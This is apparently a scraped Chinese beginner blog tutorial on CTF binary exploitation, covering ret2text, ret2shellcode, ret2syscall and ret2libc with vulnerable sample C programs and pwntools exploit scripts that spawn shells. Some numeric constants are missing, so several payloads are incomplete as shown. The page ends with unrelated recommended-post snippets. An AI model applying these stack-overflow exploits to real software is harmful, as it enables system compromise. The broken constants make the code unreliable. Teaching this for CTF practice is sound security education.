PWN菜鸡入门之栈溢出(1)
栈溢出
一、基本概念:
函数调用栈情况见链接
基本准备:
bss段可执行检测:
gef➤ b main
Breakpoint at 0x8048536: file ret2shellcode.c, line .
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap
ROPgadget
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int'
系统调用
Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。

二、ret2text
ret2text其实就是调用程序中text中已经存在的shell
三、ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode

实例:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return ;
}
shellcode
解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
四、ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。
32位:拿execve()来举例
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return ;
}
找到相应寄存器地址,其中0xb为execve系统调用地址
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * , pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, , , binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
五、ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”

padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。
address of system() 是 system() 在内存中的地址,用来覆盖返回地址。
padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。
address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。
实例:
1).ret2libc1
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, , , );
setvbuf(_bss_start, , , );
puts("RET2LIBC >_<");
gets((char *)&v4);
return ;
}
exp:
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
2).ret2libc2


开启了堆栈不可执行保护
1、构造 payload
第一部分:
‘a' * 112 + gets_plt + ret_addr + buf_addr
这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。
现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。

第二部分:
这部分就与上一题一样,
system_plt + ret_addr + buf_addr
还有另外一种 payload 更简洁情况:
在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。
’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import *
#context.log_level = 'debug'
sh = process('./ret2libc2')
elf = ELF('ret2libc2')
def pwn(sh, payload):
sh.recvuntil('?')
sh.sendline(payload)
sh.sendline('/bin/sh')#这里将 /bin/sh 传入 buf 中
sh.interactive()
buf = elf.symbols['buf2']
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef
#payload = 'a' * + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf)
payload = 'a' * + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)
PWN菜鸡入门之栈溢出(1)的更多相关文章
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之函数调用栈与栈溢出的联系
一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp ...
- PWN菜鸡入门之CANARY探究
看门见码 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strin ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- HDU 2064 菜鸡第一次写博客
果然集训就是学长学姐天天传授水铜的动态规划和搜索,今天讲DP由于困意加上面瘫学长"听不懂就是你不行"的呵呵传授,全程梦游.最后面对连入门都算不上的几道动态规划,我的内心一片宁静,甚 ...
- ACM菜鸡退役帖——ACM究竟给了我什么?
这个ACM退役帖,诸多原因(一言难尽...),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(下)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/12/es-code03/ 前提 上篇文章写完了 ES 流程启动的一部分,main 方法都入 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(上)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/11/es-code02/ 前提 上篇文章写了 ElasticSearch 源码解析 -- ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 环境搭建
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/25/es-code01/ 软件环境 1.Intellij Idea:2018.2版本 2. ...
随机推荐
- Win7的diskpart硬盘分区
Windows7 给硬盘分区有两个特点: 1.默认所有是主分区. 2.会有一个 100MB 大小的隐藏分区,为"系统预留". 假设喜欢折腾计算机,这两个特点会造成非常多麻烦.能不能 ...
- 「两」创建一个带 ssh 镜座服务(修订版)--采用 Dockerfile 创
创建目录 首先,创建一个叫做 sshd_ubuntu 的目录,用于存放我们的 Dockerfile .脚本文件.以及其它文件. $ mkdir sshd_ubuntu $ ls sshd_ubuntu ...
- uinty3d导入错误问题解决
导入第一被复制到文件unity3d在相应的文件夹的安装文件夹.回归后,unity3d软体.正确的选择"输入". 版权声明:本文博主原创文章.博客,未经同意不得转载.
- 1.跟着微软 https://docs.microsoft.com/zh-cn/dotnet/core/ 学习.net core
10分钟快速使用 安装之后 打开cmd 第一步. dotnet new console -o firstApp 第二步. cd firstApp 第三部.dotnet run 这样就运行了hello ...
- 升级phpstudy2018默认mysql版本到5.7
原文:升级phpstudy2018默认mysql版本到5.7 版权声明:在那最初的相遇中,我们都曾经为彼此心动过... https://blog.csdn.net/weixin_36185028/ar ...
- windows IIS发布.net core网站的环境配置
1.安装对应的.net core的runtime2.安装Windows Server Hosting下载地址:https://www.microsoft.com/net/download/core#/ ...
- MVC 用基架创建Controller,通过数据库初始化器生成并播种数据库
1 创建MVC应用程序 2 在Model里面创建实体类 using System; using System.Collections.Generic; using System.Linq; using ...
- gnuradio companion 找不到第三方模块gr-osmosdr的问题
我使用了来自Ettus的gnuradio软件包,之后安装了gr-osmosdr 以在gnuradio中调用RTL电视棒. 但是在gnuradio companion找不到来自rtlsdr-source ...
- 【C#】WindowsAPICodePack-Shell使用教程
原文:[C#]WindowsAPICodePack-Shell使用教程 1.首先在项目中添加WindowsAPICodePack的Nuget包. 点击安装即可. 2.获取<我的电脑>的 ...
- XAML的命名空间 - CSDN博客
原文:XAML的命名空间 - CSDN博客 一个最简单的XAML例子 <Window x:Class="WpfApplication1.MainWindow" xmlns=& ...
